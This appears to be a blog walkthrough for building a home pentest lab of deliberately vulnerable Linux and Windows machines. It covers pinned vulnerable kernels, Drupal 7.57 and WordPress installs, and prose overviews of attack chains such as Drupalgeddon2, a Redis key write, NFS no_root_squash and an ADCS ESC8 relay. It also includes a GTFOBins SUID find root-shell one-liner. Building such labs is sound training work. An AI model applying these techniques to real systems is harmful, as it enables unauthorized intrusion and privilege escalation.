Post

Home Lab 1 : Isolate

Home Lab 1 : Isolate

Overview :

This lab contains 7 boxes , 6 attack targets and a dedicated Certificate Authority server (CA01) required for the ESC8 chain. Each one requires a foothold exploit to gain initial access, followed by a separate privilege escalation exploit to reach root or SYSTEM the technique depends on the OS.

We’ll start by building the lab using VMware to run the different boxes. The network is split into two segments an internal network and a public-facing one, much like a real-world DMZ. This means tunneling and pivoting are required to reach anything inside once you’ve landed on the edge.

We’ll first build the lab in VMware, and once everything is set up, we’ll move to the attack phase using our Kali machine to compromise the entire network. Once every box is built, we’ll break down the network architecture connecting them including how traffic actually gets from Kali into the internal segment.

The chain mixes classic and recent CVEs from Drupalgeddon2 to fresh 2026 kernel bugs like CopyFail, DirtyFrag, and RoguePlanet. Then an AD box, where we focus on a specific ADCS attack: ESC8 requiring a separate CA server (CA01) since relaying to a CA on the same machine as the DC is blocked by Windows’ own NTLM reflection protection.

Quick version of the full attack path:

  • Foothold on WEB01 via a React Server Components deserialization bug (CVE-2025-55182), then root via a kernel LPE, CopyFail, before pivoting into the internal network with Ligolo-ng, exposing four more machines. From there.

  • Box 2 falls to Drupalgeddon2 (CVE-2018-7600) for a www-data shell, escalated to root via another kernel LPE, DirtyFrag.

  • Box 3 goes down next through a WordPress plugin LFI-to-RCE chain (CVE-2023-6553, PHP filter chains) for www-data, followed by a misconfigured SUID find binary for root.

  • Box 4 is a pure misconfig box, where a no_root_squash NFS share leaks Windows credentials outright, while Samba’s usermap script (CVE-2007-2447), an unauthenticated Redis instance, and a passwordless sudo rule allowing the leaked user to run nano as root (GTFOBins) all offer independent routes straight to root anyway.

  • Those leaked credentials get reused on Box 5, a Windows workstation, where the svc_backup account provides WinRM access. A misconfigured backup service running with elevated privileges exposes an unquoted service path vulnerability, allowing the service binary to be replaced and executed under the Administrator context. From there, RDP provides a full graphical session, where RoguePlanet, a Windows Defender race-condition exploit, escalates the Administrator shell to SYSTEM.

  • The same credentials are reused once more on the Domain Controller (Box 6) as a valid domain account, triggering an ADCS ESC8 chain, where PetitPotam coerces the DC to authenticate, ntlmrelayx relays that auth to the Web Enrollment endpoint on CA01 (a dedicated CA server ADCS intentionally lives on a separate box from the DC to avoid Windows’ NTLM reflection protection blocking the relay) .

svgviewer-png-output (2)

Scenarios :

Box 1 : Fail2Copy :

WEB01 runs a Next.js application a full-stack framework built on top of React. React handles UI components, while Next.js adds server-side capabilities on top: file-based routing, API endpoints, and critically React Server Components (RSC), which let React components execute directly on the server, inside the Node.js process.

(Quick primer if you’re new to the JS ecosystem: JavaScript is the language, TypeScript is JavaScript with type annotations that gets compiled away before runtime, and Node.js is the runtime that lets JS execute outside a browser. None of that matters for the exploit itself what matters is that RSC means React code runs server-side, inside a real process, with real privileges.)

This server-side execution is exactly what CVE-2025-55182 targets. By sending a crafted POST request with a malicious serialized payload, an attacker can abuse the RSC deserialization mechanism to inject and execute arbitrary JavaScript inside the Node.js process Remote Code Execution as the application user.

From that low-privileged shell, we chain into CVE-2026-31431 (CopyFail), a Linux kernel Local Privilege Escalation, to get root.

Box 2 : DirtyGeddon2 :

This box runs Drupal a popular open-source CMS on a classic LAMP stack: Linux, Apache, MySQL, and PHP. Apache receives the request, hands it to PHP, PHP runs Drupal, Drupal talks to MySQL, and PHP renders the response.

The foothold is CVE-2018-7600, nicknamed Drupalgeddon2, affecting Drupal 7.x before 7.58 (our target runs 7.57). The root cause sits in Drupal’s Form API: internal array keys prefixed with # like #post_render are used to call PHP functions during rendering. Drupal accepted these keys directly from raw HTTP input without sanitizing them. An unauthenticated attacker can send a crafted POST request to the public registration page, inject a #post_render key pointing at PHP’s exec(), and pass any OS command as the argument giving a shell as www-data, no authentication required.

From there, we chain into CVE-2026-43284 (DirtyFrag), another Linux kernel Local Privilege Escalation, to reach root.

Box 3 : Backup :

This box runs WordPress the most widely used CMS on the internet on the same LAMP stack as Box 2. WordPress’s real attack surface, though, is its plugin ecosystem: thousands of third party extensions, any one of which can compromise the entire server if vulnerable.

The plugin here is Backup Migration v1.3.7, a legitimate backup/migration tool with 80,000+ real installs. The bug, CVE-2023-6553 (CVSS 9.8), lives in backup-heart.php, which reads a path straight from the Content-Dir HTTP header and passes it unsanitized into PHP’s include() a classic Local File Inclusion primitive.

On its own, LFI is already dangerous, but this one escalates to full RCE through a PHP filter chain: include() supports stream wrappers like php://filter, which apply encoding transformations to a data stream before it’s read. Chaining dozens of these filters in a specific sequence forces PHP to generate and execute arbitrary code on the fly no upload, no second stage, no authentication. One crafted request is enough for a www-data shell.

Root comes from a deliberately misconfigured SUID binary: find has been given the SUID bit, so it runs as root regardless of caller. A single GTFOBins one-liner — find . -exec /bin/sh -p \; -quit — spawns a root shell.

Box 4 : ORNN :

Box 4 has no web application it’s a Linux box exposing three misconfigured network services, and it’s the bridge into the rest of the internal network (and eventually the Windows machines).

NFS shares are defined in /etc/exports. The critical flaw here is no_root_squash: normally NFS demotes a connecting client’s root user to an unprivileged anonymous account (“root squashing”). With that protection disabled, root on the attacking machine stays root on the share. An attacker mounts the share, drops a SUID binary on it, then executes it from the target to get a root shell. The share also contains a password protected ZIP archive holding the Windows credentials cracked offline with John the Ripper, no exploitation needed beyond that.

Samba 3.0.20 is vulnerable to CVE-2007-2447, the “usermap script” bug. Samba’s username map script feature passes the connecting client’s username to a shell script unsanitized. An attacker embeds shell commands in backticks inside the username field, and Samba executes them as root, with zero authentication.

Redis is bound to 0.0.0.0 with no password. Its CONFIG SET dir / CONFIG SET dbfilename commands let an attacker redirect where Redis writes its database file. By pointing that write path at /root/.ssh/authorized_keys and saving an attacker-controlled SSH public key as a value, the attacker plants their own key in root’s authorized_keys then SSHs in as root with no password and no exploit.

Finally, a sudo -l check on the user recovered from the cracked credentials reveals a passwordless sudo rule on nano a documented GTFOBins escalation (drop to a shell from inside the editor) that gives a fourth, independent path to root.

Box 5 : Rogue :

Box 5 is a standard Windows 10/11 workstation designed to resemble a typical enterprise endpoint. It exposes no web application and no unnecessary services, keeping the initial attack surface intentionally minimal. Access comes through a dedicated backup account, svc_backup, whose credentials are leaked from the NFS share on Box 4. The account is allowed to authenticate remotely through WinRM, providing a limited command-line foothold without administrative privileges.

The escalation path relies on a misconfigured backup service. The service runs with elevated privileges but uses an improperly quoted binary path, creating an unquoted service path vulnerability. Because svc_backup has permission to restart the service, an attacker can exploit Windows’ path resolution behavior by placing a malicious executable in the expected search path. When the service is restarted, Windows executes the attacker-controlled binary with the service’s privileges, resulting in an Administrator shell.

With administrative access obtained, Remote Desktop is enabled and a graphical session is established as the local Administrator account. From this session, RoguePlanet is executed, a public exploit targeting a race condition in Windows Defender. The technique abuses the timing window between file creation and Defender’s processing of the file, allowing execution to inherit Defender’s SYSTEM-level privileges. No kernel exploit, no UAC bypass, no additional software just a vulnerable service configuration followed by the Defender race condition.

Box 6 : DC01 :

The final box is a Windows Server 2019 Domain Controller the single point of trust for the whole domain, handling Kerberos authentication and hosting Active Directory.

A low-privileged domain user exists on the DC, deliberately reusing the same credentials as the local admin on Box 5 a realistic case of password reuse across systems.

The attack abuses ESC8, one of the ADCS escalation paths from SpecterOps’ “Certified Pre-Owned” research. Web Enrollment accepts NTLM authentication without Extended Protection for Authentication (EPA) enabled the default configuration making it vulnerable to NTLM relay.

The chain runs in four steps:

  • 1/ Coercion using the domain user’s credentials, PetitPotam abuses MS-EFSRPC to force the DC to authenticate outbound to the attacker’s machine using its own machine account.

  • 2/ Relay ntlmrelayx intercepts that NTLM authentication and relays it to the undefended Web Enrollment endpoint, requesting a certificate on behalf of the DC’s machine account using the (enabled-by-default) Domain Controller certificate template.

  • 3/ Authentication Certipy uses that certificate to authenticate via PKINIT, obtaining a TGT for the DC machine account.

  • 4/ DCSync with that TGT, the attacker impersonates the DC and invokes MS-DRSR replication to dump every credential in the domain, including the krbtgt hash (Golden Ticket material) and the Domain Administrator hash.

The domain is fully compromised.

Box 7 : CA01 :

CA01 is a Windows Server 2019 domain joined member server not a Domain Controller, just a plain machine joined to Isolate.local. Its sole purpose in this lab is to host Active Directory Certificate Services with the Web Enrollment role, exposing the certificate request interface at http://CA01/certsrv.

The reason CA01 exists as a separate box rather than running ADCS directly on DC01 comes down to how ESC8 works. The attack coerces DC01 into authenticating outbound, then relays that authentication to the CA’s Web Enrollment endpoint to request a certificate on behalf of the DC’s machine account. If the CA lives on the same machine as the DC, Windows’ built-in NTLM reflection protection detects that a machine’s own credentials are being relayed back to itself and blocks it silently no error, no certificate, just a clean failure. The only way ESC8 succeeds is with two distinct machines on either end of the relay: one being coerced, one receiving the relayed authentication.

CA01 is configured as an Enterprise Root CA the only CA type that integrates with Active Directory and supports AD based certificate templates like DomainController, which ESC8 specifically targets. One additional post-install step is required: the CA’s root certificate must be manually published into AD’s NTAuthCertificates store and the DC forced to refresh it, otherwise the DC won’t trust certificates issued by CA01 for Kerberos PKINIT authentication, and Certipy’s TGT request will fail with KDC_ERROR_CLIENT_NOT_TRUSTED even if the relay itself worked perfectly.

CA01 is not directly attacked it’s infrastructure. But without it, the ESC8 chain doesn’t exist.

Lab Build :

TLDR :

All six boxes were built in VMware. Each machine is deliberately pinned to a specific OS, package, and where relevant kernel version, to guarantee the vulnerability is present and reproducible, and to make sure no automatic update silently patches it mid-lab. Below is the exact build for each box, in the order they’re attacked.

Box 1:

Debian 12, Next.js/React Server Components application, Node.js runtime, Linux kernel pinned to 6.0.39 for CopyFail compatibility.

Box 2:

Ubuntu 24.04.4 running a full LAMP stack (Apache, MySQL, PHP) with Drupal 7.57 installed and a kernel version vulnerable to DirtyFrag.

Box 3:

Debian 13 with Apache, MySQL, PHP, WordPress, and the Backup Migration 1.3.7 plugin. find configured with the SUID bit.

Box 4:

Debian 13 bridge host exposing:

  • NFS with no_root_squash;
  • Samba 3.0.20 with username map script;
  • Redis bound to 0.0.0.0 without authentication;
  • passwordless sudo nano;
  • password-protected ZIP archives containing Windows credentials.

Box 5:

Windows 10/11 workstation with SMB enabled and a local administrator account configured for lateral movement.

DC01:

Windows Server 2019 configured as an Active Directory Domain Controller with DNS, ADCS, Web Enrollment, a reusable domain account, and certificate templates vulnerable to ESC8.

CA01:

Windows Server 2019, domain-joined member server (not a DC), running ADCS Enterprise Root CA + Certificate Enrollment Web Enrollment role. NTAuthCertificates manually published to AD post-install to enable PKINIT trust. Deliberately separate from DC01 to avoid NTLM reflection protection blocking the ESC8 relay.

Networking:

The lab is split into two segments:

  • A NAT network hosting Kali and the public-facing web server;
  • An isolated internal network containing all remaining Linux and Windows systems.

The first machine is dual-homed and serves as the pivot point into the internal network. After compromise, Ligolo-ng creates transparent routing from Kali to the internal subnet, allowing native use of reconnaissance, exploitation, and Active Directory tooling.

Box 1 : Fail2Copy :

ISO Installation :

WEB01 runs on Debian 12 (Bookworm), with the kernel downgraded and pinned to a version vulnerable to CopyFail. On top of the OS, we install Node.js and npm, and deploy a Next.js application vulnerable to CVE-2025-55182, exposed on port 3000.

Now first we need the Debian Image , i downloaded it from this link :

1
https://cdimage.debian.org/cdimage/archive/12.12.0/amd64/iso-dvd/

Once we Download it , we create a new VM :

image

Now once we start our VM , we can use Normal install instead of the graphical one to save time :

image

The installation is Pretty straight forward , Few things we will note :

Hostname :

image

For the Domain name , we will keep it empty for now :

image

Set up your root Password ;

image

For the user we use :

1
azerty : azerty

image

Timezone in our case is Eastern .

For the Disk :

image

For the Patitioning scheme :

image

Then we just confirm everything:

image

For the Extra Media Installations :

image

We don’t really need them for this lab .

Since we need to install other dependencies and packages we need to enable the Network mirroring :

image

For the mirror it can be anything you choose really :

image

Also just go with the default one :

image

We won’t be needing any Proxies for this one :

image

Of course we need to add SSH so that we don’t have to intall it manually later .

image

We should also install the Grub Boot Loader as well :

image

Then we specify the Device , we already put everything is 1 partition during Insallation so we should only see 1 :

image

Finally we select the Reboot option and we should be set :

image

Scenario :

Priv Esc :

Now that everything is set , first thing we should setup is the path for the privilege escalation.

First we should check the version of the Kernel that was installed :

image

This version is patched and not vulnerable to CopyFail .

So we will first start by installing a kernel version that is vulnerable . We first list all the available kernels that are installed .

1
dpkg --list | grep linux-image

image

Perfect we see that we already have a kernel version that is vulnerable , already installed we just need to Boot from it .

1
linux-image-6.1.0-39-amd64

In case you don’t find it , you can easily install it . First update the packages , then check list all available kernels that we can install :

1
2
apt update
apt search linux-image-6.1

image

We’re looking for Old versions for this one :

1
apt install linux-image-6.1.0-39-amd64 

you should see this error :

1
2
3
Media change: please insert the disc labeled                                                                                                                                                                      
 'Debian GNU/Linux 12.12.0 _Bookworm_ - Official amd64 DVD Binary-1 with firmware 20250906-15:05'
in the drive '/media/cdrom/' and press [Enter]

This means that APT is trying to fetch some dependencies from the Debian installation DVD, it means that that /etc/apt/sources.list still contained a cdrom: entry at that point.

You fix it by disabling the DVD repository and switching back to the official Debian mirrors:

1
2
3
4
nano /etc/apt/sources.list

===> Then you comment the First Repo :
# deb cdrom:[Debian GNU/Linux 12.12.0 _Bookworm_ ...]

Make sure you keep the other regular repos :

image

From there we update the package cache and retry installing it :

1
2
apt update
apt install linux-image-6.1.0-39-amd64 

image

Once we have the vulnerable kernel , we need to Boot it from Grub . By default the bootloader will use the latest Kernel (updated one) so we first need to make sure we show the Grub Loader Menu and make sure we boot using the old Kernel :

First check if Grub Menu is hidden and how long it takes before it boots :

1
2
grep GRUB_TIMEOUT_STYLE /etc/default/grub
grep GRUB_TIMEOUT /etc/default/grub

image

It’s not hidden , and we have 5 Sec , before it boots with default entry :

Now we just reboot it and Select Advanced Options in the Grub Loader menu :

image

From there we slect the Vulnerable Kernel (.39) and boot with it :

Now if we check the Kernel version :

image

We see that it is the one vulnerable to CopyFail .

Foothold :

Now moving on to building the vulnerable Next.js application.

First, we need to install the JavaScript development environment.

The main components we need are:

  • JavaScript (JS): The programming language used to write the application logic.
  • Node.js: The runtime environment that allows JavaScript code to execute outside of the browser.
  • npm (Node Package Manager): The package manager included with Node.js, used to install and manage application dependencies.
  • Next.js: The framework used to build our application, based on React.
  • React: The library responsible for creating the user interface components.

Before creating the vulnerable application, we need to install Node.js and npm on our Debian machine.

1
2
apt update
apt install nodejs npm -y

To verify :

1
2
node --version
npm --version

image

Now that Node.js and npm are installed, we can create the application that will simulate the vulnerable web service.

For realism, the application should not run as root. In a real-world deployment, web applications are usually executed under a dedicated service account with limited permissions.

First, we create a dedicated user for the application:

1
2
3
4
useradd -m -s /bin/bash reactlab
passwd reactlab # To give the user a password
su - reactlab
id # Verify 

image

Now we create the app :

First we initialize the Node.js project :

1
npm init -y

npm init creates the initial configuration file for a Node.js project.

After running this command, a file called: package.json is created.

image

package.json is the central configuration file of a Node.js application. It contains:

Project information (name, version, description) Available commands (scripts) Installed dependencies and their versions

For example, later it will tell npm how to start our application:

1
2
3
"scripts": {
  "dev": "next dev"
}

Now we install the components required to run our vulnerable application:

1
npm install next@15.0.4 react@19.0.0 react-dom@19.0.0

This installs three packages:

Next.js (next@15.0.4)

Next.js is the framework responsible for running the web application.

It provides:

  • The web server
  • Routing
  • Server-side rendering
  • React Server Components support

This is the component exposing the vulnerable server-side functionality used in this lab.

React (react@19.0.0)

React is the UI library used by Next.js.

It allows developers to build applications using reusable components.

Example:

1
<h1>Forged.corp</h1>

is a React component output.

React DOM (react-dom@19.0.0)

React DOM provides the integration between React and the web environment.

In a browser application, it is responsible for rendering React components into HTML.

After installation, npm creates:

  • node_modules/
  • package.json
  • package-lock.json

image

node_modules :

This directory contains the actual source code of all installed dependencies.

For example:

1
2
3
4
node_modules/
 ├── next/
 ├── react/
 └── react-dom/

image

Package-lock.json :

This file records the exact versions of every installed dependency.

It ensures that if someone else downloads the project later, they install the same versions and reproduce the same environment.

To confirm the vulnerable versions were installed :

1
npm list next react react-dom

Expected Result :

1
2
3
4
5
6
7
8
9
reactlab@1.0.0 /home/reactlab
├─┬ next@15.0.4
│ ├── react-dom@19.0.0 deduped
│ ├── react@19.0.0 deduped
│ └─┬ styled-jsx@5.1.6
│   └── react@19.0.0 deduped
├─┬ react-dom@19.0.0
│ └── react@19.0.0 deduped
└── react@19.0.0

image

This step is important because npm can sometimes install newer compatible versions if versions are not explicitly pinned.

Now back to our app directory , the structure should look like this :

1
2
3
4
5
reactlab@Fail2Copy:~$ pwd
/home/reactlab
reactlab@Fail2Copy:~$ ls
node_modules  package.json  package-lock.json
reactlab@Fail2Copy:~$ 

Next.js provides two routing systems:

  • Pages Router (older)
  • App Router (newer)

For this lab, we use the App Router because it uses React Server Components.

First we create the application directory:

1
mkdir app

The project now looks like:

1
2
3
4
5
React-app/
├── app/
├── package.json
├── package-lock.json
└── node_modules/

Now let’s Create the main page :

Create:

1
nano app/page.jsx

The file app/page.jsx represents the main page of the application.

In Next.js App Router:

  • The folder name defines the route.
  • The file page.jsx defines what is displayed.

For example:

1
2
3
app/page.jsx
==> becomes:
http://localhost:3000/

Feel free to customize your UI as you want , i won’t be pasting the entire Front end code since it won’t be necessary , but anything will be good for this demo really .

Now moving on to the Layout , Creating the root layout

The layout file defines the HTML structure shared by all pages.

Create:

1
nano app/layout.jsx

Inside the file Add:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
export const metadata = {
  title: "ISOLATE Cybersecurity",
  description: "Advanced cybersecurity research and defense platform",
};


export default function RootLayout({ children }) {
  return (
    <html lang="en">
      <body>
        {children}
      </body>
    </html>
  );
}

Now for some styling (Not needed but in case you wanted to add it ) :

Create the global CSS file:

1
nano app/globals.css

Add :

1
2
3
4
5
6
7
8
9
* {
  box-sizing: border-box;
}

body {
  margin: 0;
  background: #050816;
.....

Importing the CSS file :

1
nano app/layout.jsx

Add this at the top:

1
import "./globals.css";

The file should now start with:

1
2
3
4
5
6
7
import "./globals.css";

export const metadata = {
  title: "ISOLATE Cybersecurity",
  description: "Advanced cybersecurity research and defense platform",
};
....

image

Add the npm scripts

Edit the Package.json file :

1
nano package.json

Make sure the scripts section contains:

1
2
3
4
5
"scripts": {
  "dev": "next dev",
  "build": "next build",
  "start": "next start"
}

These commands control how Next.js runs:

  • npm run dev → development server
  • npm run build → creates production build
  • npm run start → starts production server

Start the vulnerable application :

Now checking the structure of Folders , it should look like this :

1
2
3
4
5
6
7
8
React-app/
├── app/
│   ├── page.jsx
│   ├── layout.jsx
│   └── globals.css
├── package.json
├── package-lock.json
└── node_modules/

image

Run as the low-privileged user:

1
npm run dev

image

Now if we visit the localhost port 3000 :

image

Our app is running perfectly . And we can access it from our Kali machine (But that’s for the upcoming section) .

Now Box1 is done , let’s move on to Box2 .

Box 2 : DirtyGeddon2 :

ISO Installation :

For this machine , we’ll need one of these machine for the Dirty Frag exploit :

Ubuntu 24.04.4: 6.17.0-23-generic RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64 openSUSE Tumbleweed: 7.0.2-1-default CentOS Stream 10: 6.12.0-224.el10.x86_64 AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64 Fedora 44: 6.19.14-300.fc44.x86_64 ….

In our case we will use the Ubuntu 24.04.4 .

Here is the Link to Download the ISO :

1
https://releases.ubuntu.com/noble/

Once downloaded , create a new Virtual machine .

image

Power on the VM so that we can start the Installation :

image

Now we just install Ubuntu :

image

We will keep the default selection :

image

For Third party software and media , we won’t be needing that for this lab :

image

For the Disk setup select the first one , we will keep things simple :

image

For the user :

image

We don’t need AD for this one .

Finally we just start the installation, it make take a while .

image

Once the installation is completed , restart the system :

image

Now Once we start the machine , to enable the Copy/Paste we need to first install VMware Tools :

1
2
3
sudo apt update
sudo apt install open-vm-tools open-vm-tools-desktop -y
sudo reboot

Scenario :

Priv Esc :

We chose this Ubuntu and kernel version because it is vulnerable to DirtyFrag (CVE-2026-43284), But the Kernel version we got after the Installation was patched 6.17.0-35

image

First let’s list all the kernels that we’ve got downloaded :

1
dpkg -l | grep 6.17.0

We are looking for 6.17.0-23-generic, the version against which the DirtyFrag exploit was validated by its author.

image

If the vulnerable kernel is not installed, we can install it manually:

1
2
3
sudo apt install linux-image-6.17.0-23-generic \
linux-modules-6.17.0-23-generic \
linux-modules-extra-6.17.0-23-generic

Now we need to configure the Grub menu , since on this ubuntu version it is hidden by default :

1
sudo nano /etc/default/grub

Ensure that the following options are present:

1
2
3
4
5
6
GRUB_DEFAULT=5
GRUB_TIMEOUT_STYLE=menu
GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR=`( . /etc/os-release; echo ${NAME:-Ubuntu} ) 2>/dev/null || echo Ubuntu`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX=""

image

By changing GRUB_TIMEOUT_STYLE to menu, the GRUB menu becomes visible during startup, and GRUB_TIMEOUT=5 gives us five seconds to choose the desired kernel.

From there we reboot the machine :

image

We select Advanced Options , Then we speficy the kernel we need :

image

It is 23 in this case . Once it boots , we check again :

1
uname -a

image

The machine is now running the same kernel version that was used to validate the DirtyFrag exploit, ensuring that the privilege-escalation step can be reproduced reliably.

Now let’s move on to the initial foothold.

FootHold :

For the initial compromise, the machine hosts Drupal 7.57, running on a standard LAMP stack:

  • Linux as the operating system.
  • Apache as the web server.
  • MySQL/MariaDB as the database backend.
  • PHP as the scripting language powering Drupal.

Before deploying Drupal, we install the packages required by the LAMP stack:

1
2
3
sudo apt update
sudo apt install apache2 mariadb-server php php-mysql \
php-gd php-xml php-mbstring php-curl wget unzip -y

image

Once the dependencies are installed, we download and deploy Drupal 7.57, a version vulnerable to CVE-2018-7600 (Drupalgeddon2), which allows unauthenticated remote code execution through Drupal’s Form API.

Download Drupal:

1
2
cd /tmp
wget https://ftp.drupal.org/files/projects/drupal-7.57.tar.gz

Extract the archive:

1
tar -xzf drupal-7.57.tar.gz

The extracted directory contains the Drupal application files, including PHP code, modules, themes, and configuration files.

We need to move Drupal into Apache’s web directory:

1
sudo mv drupal-7.57 /var/www/html/drupal

Apache serves websites from /var/www/html, so placing Drupal here makes it accessible through the browser.

Setting Drupal File Permissions

First we change ownership of the Drupal directory:

1
sudo chown -R www-data:www-data /var/www/html/drupal

Apache runs under the www-data account. Giving ownership to this user allows Drupal to write required files such as caches, uploaded content, and configuration files.

Then we set directory permissions:

1
2
sudo find /var/www/html/drupal -type d -exec chmod 755 {} \;
sudo find /var/www/html/drupal -type f -exec chmod 644 {} \;

This ensures directories can be accessed while files remain appropriately restricted.

image

Now we should setup Apache to serve our app :

Configuring Apache

First we create a dedicated Apache configuration for Drupal:

1
sudo nano /etc/apache2/sites-available/drupal.conf

Add:

1
2
3
4
5
6
7
8
9
10
11
<VirtualHost *:80>

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/drupal

    <Directory /var/www/html/drupal>
        AllowOverride All
        Require all granted
    </Directory>

</VirtualHost>

This tells Apache where Drupal is installed and allows Drupal’s .htaccess file to control URL rewriting and application settings.

Then we Enable Apache URL rewriting :

1
sudo a2enmod rewrite

Drupal uses URL rewriting for clean URLs and proper routing.

From there we should disable the default Apache page:

1
sudo a2dissite 000-default.conf

Then we enable the Drupal site:

1
sudo a2ensite drupal.conf

Then Finally we just Restart Apache:

1
sudo systemctl restart apache2

image

At this point Apache is configured to serve the Drupal installation instead of the default website.

To test this , we can try curl on our localhost :

image

We see that we are able to curl the Drupal directory . But we get an error .

This is normal since Drupal 7.X usually uses PHP 7.4 not 8.3 that was installed by default .

We need to Downgrade to php7.4 :

On Ubuntu 22.04/24.04, PHP 7.4 is not in the default repositories, so you need the PHP repository:

1
2
php -v  # you should see 8.3
sudo apt install software-properties-common -y

Then we add the repository :

1
2
sudo add-apt-repository ppa:ondrej/php
sudo apt update

Then we install php7.4 :

1
2
sudo apt install php7.4 php7.4-mysql php7.4-gd \
php7.4-xml php7.4-mbstring php7.4-curl -y

Then we disable php8.3 and enable 7.4 :

1
2
3
sudo a2dismod php8.3
sudo a2enmod php7.4
sudo systemctl restart apache2 #To reset the conf 

Now we check again :

1
php -v

It’s okey if you see 8.3 , this just means that our command-line PHP is still PHP 8.3.

We need to check what Apache is using.

1
ls -la /etc/apache2/mods-enabled/ | grep php

image

Now we create a test php file :

1
sudo nano /var/www/html/drupal/test.php

We put this :

1
2
3
<?php
phpinfo();
?>

Then we check the php version :

1
curl http://localhost/test.php | grep "PHP Version"

image

Perfect this confirms it .

Now if we try accessing the install.php we should get a 200 :

image

Configuring the DB :

First we create the Drupal database

Drupal stores its data (users, configuration, content, modules) inside MariaDB. We create a dedicated database and user for Drupal instead of using the MariaDB root account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# We first open MariaDB:
 
sudo mysql

# Create the database:

CREATE DATABASE drupal;

# Create a database user:

CREATE USER 'drupaluser'@'localhost' IDENTIFIED BY 'DrupalPassword123!';

# Give Drupal permission to use the database:

GRANT ALL PRIVILEGES ON drupal.* TO 'drupaluser'@'localhost';

# Apply the changes:

FLUSH PRIVILEGES;
EXIT;

image

Drupal Installation :

Now to complete the installation , we should open our browser and navigate to localhost or /install.php :

image

For the Installation profile : we choose the stantard one :

For the DB we will enter the DB we setup from earlier :

image

For the Site Information :

1
2
3
4
5
6
7
8
9
10
11
12
# Site name:
DirtyGeddon Lab

#Site email:
admin@isolate.local

# Administrator account !
Username:
admin

Password:
Password@123456789

image

Once we hit Finish we should be able to navigate to our Drupal Website :

image

We can also confirm the version by checking the file : “/var/www/html/drupal/includes/bootstrap.inc”

image

This confirms that we have Drupal7.57. We can also check this from our Kali machine but that’s for another section .

For now Box 2 is done , let’s move to Box 3 :

Box 3 : Backup :

ISO Installation :

For this one we need a debian 13 machine , where we will configure WordPress .

The link to downlaod the ISO image :

1
https://www.debian.org/download.fr.html

We first create the virtual machine (2 GB of RAM and 20 gb of disk 2 Processors should be more than enough) :

image

Now we start the installation , this should be pretty straight forward :

image

For Hostname :

image

Domain isn’t needed for this one .

image

Create you Root password , then a new user , we’ll name it azerty :

image

Password is azerty as well .

Select your timezone , then for the Disk Partition , we slect to use the entire Disk :

image

Then put all files in 1 partition :

image

Finally we Confirm the changes :

image

For the extra installation media , we won’t be needing that :

image

For the Mirror image , we choose debian.org :

image

No proxy is needed :

image

We will install SSH so that we don’t have to install open-ssh server later :

image

Install the Grub boot Loader :

image

We only have 1 partition :

image

Once everything is setup , we just reboot the machine :

image

And our Debian Box is Ready :

image

Scenario :

FootHold :

To obtain our initial foothold, we first need to deploy a WordPress instance before installing the vulnerable plugin.

There are two ways to do this. The first is to install and configure the entire environment manually by setting up the LAMP stack (Linux, Apache, MySQL, and PHP), followed by WordPress itself. Although this approach requires more work, it provides a better understanding of the application’s architecture and the services on which it relies.

The second option is to use a preconfigured Docker image that already includes WordPress and its dependencies. This significantly speeds up the deployment process and allows us to focus directly on the exploitation phase.

In our case, we will begin with the manual installation to understand how the different components fit together. Afterwards, we will show how to achieve the same result using Docker for a faster and more reproducible setup.

Installing WordPress :

Our Debian 13 machine is already provisioned, so we can start by installing the components required to run WordPress. Like Drupal, WordPress relies on a classic LAMP stack: Linux, Apache, MySQL, and PHP.

First, update the package lists and install Apache, MariaDB, PHP, and the extensions commonly required by WordPress:

1
2
3
4
5
6
su - : Switching to root .
sudo apt update
sudo apt install apache2 mariadb-server \
php php-mysql php-gd php-xml \
php-mbstring php-curl php-zip \
libapache2-mod-php wget unzip -y

image

Once the installation completes, verify that Apache and MariaDB are running:

1
2
sudo systemctl status apache2
sudo systemctl status mariadb

image

Both services should appear as active (running).

Next, we create the database that WordPress will use:

1
sudo mysql

Inside the DB :

1
2
3
4
5
6
7
8
9
10
11
CREATE DATABASE wordpress;

CREATE USER 'wpuser'@'localhost' IDENTIFIED BY 'Password.123456@';

# This gives the WordPress database user permission to fully manage the wordpress database.
GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'@'localhost';

# This tells MariaDB to reload its privilege tables so the changes are applied immediately.
FLUSH PRIVILEGES;

EXIT;

image

With the database configured, download the latest WordPress release and extract it into Apache’s web root:

1
2
3
4
5
6
7
cd /tmp

wget https://wordpress.org/latest.tar.gz

tar -xzf latest.tar.gz

sudo mv wordpress /var/www/html/

image

Before accessing WordPress, we need to make sure that Apache has the correct permissions to read and serve the files.

On Debian-based systems, Apache runs by default as the www-data user. This is a dedicated low-privileged system account used by web services to reduce the impact of a potential compromise.

The WordPress files are located inside Apache’s default web root:

1
/var/www/html/

When Apache is running, any content placed inside this directory can be accessed through the web server. Therefore, we assign ownership of the WordPress directory to the Apache user:

1
sudo chown -R www-data:www-data /var/www/html/wordpress

Breaking down the command:

  • chown → changes the owner of files and directories
  • -R → applies the change recursively to all files and subdirectories
  • www-data:www-data → sets both the user owner and group owner to Apache’s account
  • /var/www/html/wordpress → the WordPress installation directory

Next, we set the appropriate permissions:

1
sudo chmod -R 755 /var/www/html/wordpress

The 755 permission means:

  • Owner (www-data) → read, write, execute
  • Group → read and execute
  • Others → read and execute

This allows Apache to access and serve the WordPress files while preventing unauthorized users from modifying them.

image

Once Apache is running, it will serve files located under /var/www/html/ by default. Therefore, the WordPress installation can be reached through:

1
http://localhost/wordpress

image

From here we just follow the Installation guide , it is pretty straight forward :

image

We just specify the DB user we created earlier for this :

1
2
3
4
5
6
7
8
9
Database Name: wordpress

Username: wpuser

Password: Password.123456@

Database Host: localhost

Table Prefix: wp_

image

Finally we just start the Installation :

image

WordPress requires the creation of the first administrative account.

For this lab, we use the following values:

1
2
3
4
5
6
Site Title: Isolate-corp

Username: wpadmin

Password: XVFT5PGUEN@24521D
Email: admin@isolate.local 

image

This account will be used to access the WordPress administration panel and install the vulnerable plugin required for the exploitation phase.

Since this instance is running locally as part of a vulnerable lab environment, we enable the option to discourage search engines from indexing the site.

After completing the installation, WordPress is ready and we can proceed with installing the vulnerable plugin version required for CVE-2023-6553.

image

We can now login to our admin panel :

image

Installing the Vulnerable Plugin

